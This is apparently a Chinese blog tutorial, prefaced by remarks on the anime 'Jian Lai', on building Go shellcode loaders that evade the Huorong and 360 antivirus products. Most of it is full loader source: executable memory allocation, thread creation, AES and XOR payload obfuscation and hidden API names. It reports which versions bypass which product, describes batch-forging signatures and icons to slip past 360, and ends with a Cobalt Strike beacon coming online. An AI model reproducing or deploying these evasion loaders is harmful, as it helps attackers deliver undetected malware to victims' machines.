題記
最近劍來動漫上線,雖然觀感不如我的預期,感覺節奏過快。但是也是一種進步了,願各位道友都能找到自己的寧姚。
"我喜歡的姑娘啊,她眉如遠山,浩然天下所有好看的山,好看的水,加起來都不如她。她睫毛輕顫的模樣,落在了我的心裡。那萬年不動的劍氣長城,都好像輕輕晃了晃。" ——烽火戲諸侯 《劍來》
經過這幾天的學習,go語言的shellcode載入器也算入門了一些,火絨把shellcode遠端載入就能直接過,360需要做一下icon與簽名的偽造,當然做完這些原生的shellcode載入器也能直接繞過火絨。
原始的載入器程式碼
實測以下程式碼編譯好的exe可以成功執行,但免殺效果較差,不過我們依然可以學到最原始的shellcode載入器的執行原理,後邊免殺也是圍繞基礎的原理進行各種二開操作的。
載入使用的模組,輸入shellcode,分配記憶體,然後將shellcode複製到分配的記憶體中執行。
package main import ( "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows") func main() { code := ""
decode, _ := hex.DecodeString(code) kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配記憶體並寫入 shellcode 內容 allocSize := uintptr(len(decode)) mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
// 執行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } |
註釋:
1、包匯入
encoding/hex:用於十六進位制編碼和解碼。
syscall:用於與作業系統進行低階別的互動。
unsafe:提供對記憶體的低階訪問。
golang.org/x/sys/windows:提供與Windows系統互動的功能。
2、解碼Shellcode
使用hex.DecodeString將十六進位制字串解碼為位元組切片。該操作可能會返回錯誤,但在這段程式碼中錯誤未被處理。
go載入shellcode時需要轉換成位元組陣列才能載入,在測試列印我們一般轉換成十六進位制字串列印出來
在加解密過程中踩坑較多,需要注意函式輸入和輸出的到底是十六進位制字串還是位元組陣列
例如:
message := "fc4883e4f0e8c8"就是十六進位制字串
十六進位制字串string轉換成位元組陣列byteArray
byteArray, _ := hex.DecodeString(hexString)
位元組陣列轉換成十六進位制字串
hexString := hex.EncodeToString(byteArray)
3、載入DLL和查詢函式
載入Windows的kernel32.dll庫,該庫包含處理記憶體分配的函式。
查詢VirtualAlloc函式,該函式用於在程序的虛擬地址空間中分配記憶體。
4、分配記憶體
allocSize為要分配的記憶體大小,單位為位元組。
呼叫VirtualAlloc分配記憶體,引數說明:
0表示作業系統選擇記憶體地址。
allocSize是要分配的大小。
windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留記憶體。
windows.PAGE_EXECUTE_READWRITE表示分配的記憶體可執行、可讀和可寫。
如果返回的記憶體地址mem為0,表示分配失敗,程式將觸發panic。
4、寫入shellcode
使用unsafe.Pointer將分配的記憶體地址轉換為位元組陣列指標,並建立一個切片buffer,其大小為分配的記憶體大小。
將解碼後的Shellcode複製到分配的記憶體中。
5、執行Shellcode
呼叫syscall.Syscall來執行Shellcode。第一個引數是Shellcode的記憶體地址,後面三個引數是傳遞給Shellcode的引數(此處都為0)。
引數呼叫載入器
package main |
可以看到以上載入器火絨是監測不出來的,但過不了360。
加密方式一-aes加密
aes加密:
package main
import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" )
// 填充字串(末尾) func PaddingText1(str []byte, blockSize int) []byte { //需要填充的資料長度 paddingCount := blockSize - len(str)%blockSize //填充資料為:paddingCount ,填充的值為:paddingCount paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount) newPaddingStr := append(str, paddingStr...) //fmt.Println(newPaddingStr) return newPaddingStr }
// ---------------DES加密-------------------- func EncyptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } src = PaddingText1(src, block.BlockSize()) blockMode := cipher.NewCBCEncrypter(block, key) blockMode.CryptBlocks(src, src) return src }
func main() {
shellcode := []byte{} str := base64.StdEncoding.EncodeToString(shellcode)
//金鑰長度16 key := []byte("AofqwwWicshoiqQq") src := EncyptogAES(str, key) message := base32.HexEncoding.EncodeToString(src) fmt.Println(message) } |
aes解密:
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
// 去掉字元(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") str := string(DecrptogAES(aesMsg, key)) sc, _ := base64.StdEncoding.DecodeString(string(str)) code := string(sc) |
加密方式二-xor混淆
xor加密:
// XOR 操作 xordMessage := make([]byte, len(str)) for i := 0; i < len(str); i++ { xordMessage[i] = str[i] ^ 0xff } |
xor解密:
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff } |
記憶體載入方式一
code := ""
decode, _ := hex.DecodeString(code) kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配記憶體並寫入 shellcode 內容 allocSize := uintptr(len(decode)) mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
// 執行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } |
記憶體載入方式二
code := string(sc) shellcode, _ := hex.DecodeString(code)
data := shellcode /*for i := 0; i < len(data); i++ { fmt.Printf("%x", data[i]) }*/ //execEnumChildWindows(data) kernel32 := windows.NewLazySystemDLL("kernel32") //user32 := windows.NewLazySystemDLL("user32")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") //EnumChildWindows := user32.NewProc("EnumChildWindows")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { panic(1) } _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data))) if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." { panic(1) } oldProtect := PAGE_READWRITE _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { panic(1) } CreateThread := kernel32.NewProc("CreateThread") thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) |
記憶體載入方式三
code := string(sc) |
記憶體載入方式四-失敗
ntdll.dll的載入執行沒成功過,不知道原因。
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 )
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") //呼叫kernel32.dll ntdll = syscall.MustLoadDLL("ntdll.dll") //呼叫ntdll.dll VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll呼叫ViretualAlloc函式 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll呼叫RtCopyMemory函式 )
func checkErr(err error) { if err != nil { // 如果記憶體呼叫出現錯誤,可以報出 if err.Error() != "The operation completed successfully." { println(err.Error()) os.Exit(1) } } }
執行失敗1,參考https://github.com/YGYoghurt/Go-shellcode--: shellcode, err := hex.DecodeString(deStrBytes)
// 呼叫VirtualAllo申請一塊記憶體 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } // 呼叫RtlCopyMemory載入進記憶體當中 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2)) _, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2)) checkErr(err)
//syscall來執行shellcode syscall.Syscall(addr, 0, 0, 0, 0) 執行失敗2,參考https://github.com/hhuang00/go-bypass-loader/tree/main: var ( a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'})) c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'})) d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'})) )
addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) |
示例載入器一
以下程式碼感覺記憶體分配執行的方式爛大街了,火絨都過不了,需要改一下。
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
// 去掉字元(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { //message的值為先混淆然後aes加密後的值 message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") xordMessage := string(DecrptogAES(aesMsg, key))
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff }
sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))
code := string(sc) decode, _ := hex.DecodeString(code) var ( a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'})) )
allocSize := uintptr(len(decode)) mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
syscall.Syscall(mem, 0, 0, 0, 0) } |
示例載入器二
以下程式碼可直接過火絨,但是360能夠查出來。
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_READ = 0x20 PAGE_READWRITE = 0x04 )
// 去掉字元(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { //message的值為先混淆然後aes加密後的值 message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") xordMessage := string(DecrptogAES(aesMsg, key))
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff }
sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))
code := string(sc) shellcode, _ := hex.DecodeString(code)
data := shellcode /*for i := 0; i < len(data); i++ { fmt.Printf("%x", data[i]) }*/ //execEnumChildWindows(data) kernel32 := windows.NewLazySystemDLL("kernel32") //user32 := windows.NewLazySystemDLL("user32")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") //EnumChildWindows := user32.NewProc("EnumChildWindows")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { panic(1) } _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data))) if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." { panic(1) } oldProtect := PAGE_READWRITE _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { panic(1) } CreateThread := kernel32.NewProc("CreateThread") thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) } |
過360和火絨的簡便方法
借用大佬的一段話:“想告訴大家,有時候落地無很可能不是程式碼問題就是特徵匹配上了,使用工具或者是修改VS編譯配置,相當於改頭換面,換了個hash讓他比對不上,就能過了。”
我們可以看到,示例載入器1和2是都過不了360的,但我們透過工具批次偽造簽名和icon可以讓360短時間查不出來。
批次生成:
360查完還剩下30多個:
對單獨的進行掃描,360未發現異常:
成功上線cs:
參考文章
go實現的shellcode免殺載入器,實測可過火絨,360:https://github.com/hhuang00/go-bypass-loader/tree/main
go實現免殺(實用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0
老生常談殺軟特性 免殺數字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww
Golang寫的shellcode免殺載入器思路:https://github.com/YGYoghurt/Go-shellcode--